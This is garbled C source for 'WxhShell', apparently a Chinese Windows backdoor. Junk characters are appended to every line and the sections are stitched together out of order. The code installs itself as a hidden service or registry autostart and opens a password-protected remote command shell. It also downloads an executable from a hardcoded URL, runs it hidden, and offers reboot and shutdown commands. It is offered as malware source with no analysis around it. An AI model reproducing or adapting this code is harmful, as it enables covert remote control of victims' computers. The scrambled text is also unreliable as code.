ULONG InheritedFromUniqueProcessId; #Af)n(
} PROCESS_BASIC_INFORMATION; _J` |<}?t;
(26Bs':M~
PROCNTQSIP NtQueryInformationProcess; ?${V{=)*X'
/^~p~HKtx
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 1x8(I&i
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; n}42'9p
$m{{,&}k
HANDLE hProcess; eS*
*L3
PROCESS_BASIC_INFORMATION pbi; bd.j,4^
W3"vTZJF
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Zb}`sk#
if(NULL == hInst ) return 0; :l4^iSf
rtcJ=`)0`
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 6|%^pjX5
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); @Ap@m6K?q
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); JN-D/s
|}:e+?{o
if (!NtQueryInformationProcess) return 0; 8f|9W%jt
l.sm~/
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); b8eDD+ul k
if(!hProcess) return 0; hT\p)w
nR(#F 9
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; :O5Tr03z
loml.e=87
CloseHandle(hProcess); >3<&V{<K
EPQ&?[6
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); MacL3f
if(hProcess==NULL) return 0; PY[Sz=[
E=$7ieW
HMODULE hMod; c`rfKr&z
char procName[255]; `'dX/d
unsigned long cbNeeded; =c
:lS&B
[3 Wsc`Q
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); R~U2/6V
Dh*~U:6$g
CloseHandle(hProcess); U{j5kX
\Mobq
if(strstr(procName,"services")) return 1; // 以服务启动 x&mz-
MBnK&GS
return 0; // 注册表启动 at_dmU2[7
} A}az
m>
*?EjYI
// 主模块 " 8~f
int StartWxhshell(LPSTR lpCmdLine) s^{{@O.
{ K8e4ax
SOCKET wsl; "~.8eKRQ
BOOL val=TRUE; >FK)p
int port=0; 6)tB{:h&~0
struct sockaddr_in door; UXcH";*9b
V\e13cL]
if(wscfg.ws_autoins) Install(); JKEXYE
EZgxSQaPH
port=atoi(lpCmdLine); _47j9m]f
[|c@Yw
if(port<=0) port=wscfg.ws_port; G}Qk!r
s!nSE
WSADATA data; mR!&.R?
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; N|j;=y!
p@!@^1j=
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 6Zl.Lh
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); hIE%-gZ/
door.sin_family = AF_INET; |wyJh"4!
door.sin_addr.s_addr = inet_addr("127.0.0.1"); wfU&{7yt
door.sin_port = htons(port); dA_V:HP
khKv5K#)
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { {7ZtOe
closesocket(wsl); $Hl+iF4j<
return 1; 5kRwSOG%'
} W>t&N
76u/WC>B
if(listen(wsl,2) == INVALID_SOCKET) { 8VAYIxRv
closesocket(wsl); =0!\F~
return 1; buxI-wv
} ]IbPWBX
Wxhshell(wsl); 5pKvNLy.t
WSACleanup(); %Mb(
c+7
D~i@. k
return 0; 6S&=OK^
R|Q_W X
} c],frhmyd
="'P=Xh!8
// 以NT服务方式启动 avbr7X(
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) cA (e"N
{ }?Yr>ZRi
DWORD status = 0; 35N/v G0
DWORD specificError = 0xfffffff; n'&`9M['%d
+ia(%[
serviceStatus.dwServiceType = SERVICE_WIN32; 3A}nNHpN
serviceStatus.dwCurrentState = SERVICE_START_PENDING; bCaPJ!ZO
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; LGo@F;!n
serviceStatus.dwWin32ExitCode = 0; 5shu76
serviceStatus.dwServiceSpecificExitCode = 0; ma]F%E+$
serviceStatus.dwCheckPoint = 0; Uf2v$Jl+Yh
serviceStatus.dwWaitHint = 0; 8t*%q+Z
M~{P',l*
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ,Dii?P
if (hServiceStatusHandle==0) return; XnI
;7J
~&j`9jdOj
status = GetLastError(); L/iVs`qF
if (status!=NO_ERROR) 8HRPJSO~g
{ jcv1z v.
serviceStatus.dwCurrentState = SERVICE_STOPPED; {i%xs#0h
serviceStatus.dwCheckPoint = 0; ]Re~V{uh
serviceStatus.dwWaitHint = 0; N;`[R>Z~
serviceStatus.dwWin32ExitCode = status; %[\Ft
serviceStatus.dwServiceSpecificExitCode = specificError; Vw;ldEdx
SetServiceStatus(hServiceStatusHandle, &serviceStatus); b[[6X
return; >&TnTv?I
} Pq J*
FskJyB[
serviceStatus.dwCurrentState = SERVICE_RUNNING; @aV~.!!
serviceStatus.dwCheckPoint = 0; >K|G LP
serviceStatus.dwWaitHint = 0; `F+x]<m!
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); %d[xr h
} ,I&0#+}n
a6k(O8Ank3
// 处理NT服务事件,比如:启动、停止 @<TfA>*VJ
VOID WINAPI NTServiceHandler(DWORD fdwControl) Y7t{4P
{ Ualq>J5-m-
switch(fdwControl) o?O,nD
6
{ *"QE1Fum'
case SERVICE_CONTROL_STOP: u g:G9vjQ
serviceStatus.dwWin32ExitCode = 0; ,nChwEn
serviceStatus.dwCurrentState = SERVICE_STOPPED; \`p~b(
serviceStatus.dwCheckPoint = 0; Qdr-GODx
serviceStatus.dwWaitHint = 0; `Ig2f$}
{ eeJt4DV8v
SetServiceStatus(hServiceStatusHandle, &serviceStatus); b;{"lJ:+Z
} ;7n*PBUJJ
return; j]l}K*8(
case SERVICE_CONTROL_PAUSE: -J7,Nw
serviceStatus.dwCurrentState = SERVICE_PAUSED; 7fTg97eF
break;
pOI`,i}.
case SERVICE_CONTROL_CONTINUE: .q9|XDqQc
serviceStatus.dwCurrentState = SERVICE_RUNNING; b}L,kT
break; )4_6\VaM
case SERVICE_CONTROL_INTERROGATE: KJ^GUqVl
break; 3&nc'
}; . nF
SetServiceStatus(hServiceStatusHandle, &serviceStatus); gL}Y5U+s
} >.wd)
KIBZQ.uG
// 标准应用程序主函数 *;yMD-=
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 9PGR#!!F$
{ D:vUy*
v?TJ!o
// 获取操作系统版本 |wb(rua
OsIsNt=GetOsVer(); MVv^KezD
GetModuleFileName(NULL,ExeFile,MAX_PATH); f uNXY-;
c2mt<DtWW
// 从命令行安装 H'\ EA(v+
if(strpbrk(lpCmdLine,"iI")) Install(); RrpFi'R
R|$`MX}'z
// 下载执行文件 1HWJxV"
if(wscfg.ws_downexe) { wVJFA1
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 10 H!
WinExec(wscfg.ws_filenam,SW_HIDE); !K~$-jlT
} ~d `4W<1a
71&+dC
if(!OsIsNt) { UYrzsUjg&
// 如果时win9x,隐藏进程并且设置为注册表启动 M*6@1.n
HideProc(); ?[B[ F
StartWxhshell(lpCmdLine); O Lup`~
} 6SO7iFS
else hsO.521g
if(StartFromService()) *>$)#?t
// 以服务方式启动 swq!Sp
StartServiceCtrlDispatcher(DispatchTable); }/r%~cZ
else SfL`JNi)
// 普通方式启动 =?Md&%j
StartWxhshell(lpCmdLine); E(LE*J
h:sG23@=
return 0; [gp:nxyfQm
} y+afUJT
}V;]c~Q/H
ZKPkx~,U[
(b}7Yb]#c
=========================================== :=eUNH
;O|63
!*UdY(
O9)}:++T
"q/M8
'k Z1&_{
" =T}uQ$X
t3g!5
#include <stdio.h> Z x%@wH~
#include <string.h> :
X|7l?{xW
#include <windows.h> P$Ru NF
#include <winsock2.h> ?+=|{{l
#include <winsvc.h> NYvj?>[y
#include <urlmon.h> 1u+(rVQN
tgA
|Vwwk
#pragma comment (lib, "Ws2_32.lib") i]?xM2(N
#pragma comment (lib, "urlmon.lib") Y{tuaBzD
vGT.(:\-,
#define MAX_USER 100 // 最大客户端连接数 JhIK$Ti
#define BUF_SOCK 200 // sock buffer *S_Iza #&x
#define KEY_BUFF 255 // 输入 buffer z1s"C[W2T
0*x?
#define REBOOT 0 // 重启 :K:gyVrC
#define SHUTDOWN 1 // 关机 Fsj[J E
TJ:Lz]l >
#define DEF_PORT 5000 // 监听端口 t&]Mt7
k"{U}Y/}
#define REG_LEN 16 // 注册表键长度 TLgVuY
#define SVC_LEN 80 // NT服务名长度 @ R Bw T
c%.&F
// 从dll定义API eCd?.e0@j
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); We?:DM
[
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); IyP].g1"U
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 'v
X"l
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ),,vu
[F EQ@
// wxhshell配置信息 j3&*wU_
struct WSCFG { Y&:i^k
int ws_port; // 监听端口 }L9j`17
char ws_passstr[REG_LEN]; // 口令 }*.*{I
int ws_autoins; // 安装标记, 1=yes 0=no
?~IZ{!
char ws_regname[REG_LEN]; // 注册表键名 */E{s?
char ws_svcname[REG_LEN]; // 服务名 BUyA]
char ws_svcdisp[SVC_LEN]; // 服务显示名 E: k?*l
char ws_svcdesc[SVC_LEN]; // 服务描述信息 9lV'3UG-?
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Q,`kfxA`O
int ws_downexe; // 下载执行标记, 1=yes 0=no idy:Jei}
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" yk2j&}M
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 nT"z(\i.!J
<bI,y_<K
}; p;Kr664
)K~nZLULY
// default Wxhshell configuration ,-)1)R\.
struct WSCFG wscfg={DEF_PORT, G2D<LRWt4
"xuhuanlingzhe", Vk-_H)*r
1, W( YJz#]6_
"Wxhshell", za7wNe(s
"Wxhshell", fZ$2bI=
"WxhShell Service", =Frr#t!(w0
"Wrsky Windows CmdShell Service", M.xEiHz
"Please Input Your Password: ", 46~ug5gV
1, S##W_OlrI
"http://www.wrsky.com/wxhshell.exe", gp=0;#4
4
"Wxhshell.exe" E<dN=#f6
}; ~vmY2h\
whCv9)x
// 消息定义模块 ~\P.gSiz
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; z/b*]"g,
char *msg_ws_prompt="\n\r? for help\n\r#>"; z@~rm9d
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 1o%Hn"uG
char *msg_ws_ext="\n\rExit."; dyd_dK/
char *msg_ws_end="\n\rQuit."; Sf9+TW
char *msg_ws_boot="\n\rReboot..."; J++D\x#@
char *msg_ws_poff="\n\rShutdown..."; uypD`%pC
char *msg_ws_down="\n\rSave to "; OK=t)6&b
q9Q4F
char *msg_ws_err="\n\rErr!"; RS~oSoAE
char *msg_ws_ok="\n\rOK!"; xpz
Jt2S
fJuJ#MX{:
char ExeFile[MAX_PATH]; YC~+r8ME$j
int nUser = 0; 6k2~j j1d
HANDLE handles[MAX_USER]; =E}/Z
int OsIsNt; I$$!YMm.N
DcS~@ ;
SERVICE_STATUS serviceStatus; S:gP\Atf>
SERVICE_STATUS_HANDLE hServiceStatusHandle; eC?N>wHH
3?:}lY<,
// 函数声明 *d(Dk*(
int Install(void); o%:eYl
int Uninstall(void); C}CX n X
int DownloadFile(char *sURL, SOCKET wsh);
Xma0k3;-
int Boot(int flag); y}A-o_u@cD
void HideProc(void); Jy9&=Qh
int GetOsVer(void); TO<